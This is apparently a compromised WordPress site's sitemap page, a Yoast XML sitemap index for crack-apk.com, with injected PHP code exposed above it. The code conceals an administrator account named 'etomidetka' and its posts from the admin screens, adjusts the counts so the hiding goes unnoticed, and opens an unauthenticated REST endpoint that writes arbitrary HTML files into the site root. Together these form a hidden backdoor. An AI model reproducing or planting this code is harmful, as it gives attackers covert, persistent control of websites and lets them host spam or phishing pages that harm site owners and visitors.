
//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}














                            <?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//crack-apk.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://crack-apk.com/post-sitemap.xml</loc>
		<lastmod>2025-04-09T19:42:45+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://crack-apk.com/page-sitemap.xml</loc>
		<lastmod>2022-07-05T03:39:45+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://crack-apk.com/category-sitemap.xml</loc>
		<lastmod>2025-04-09T19:42:45+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://crack-apk.com/post_tag-sitemap.xml</loc>
		<lastmod>2022-11-27T05:35:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://crack-apk.com/post_tag-sitemap2.xml</loc>
		<lastmod>2022-11-27T05:35:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://crack-apk.com/author-sitemap.xml</loc>
		<lastmod>2025-02-09T20:42:56+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->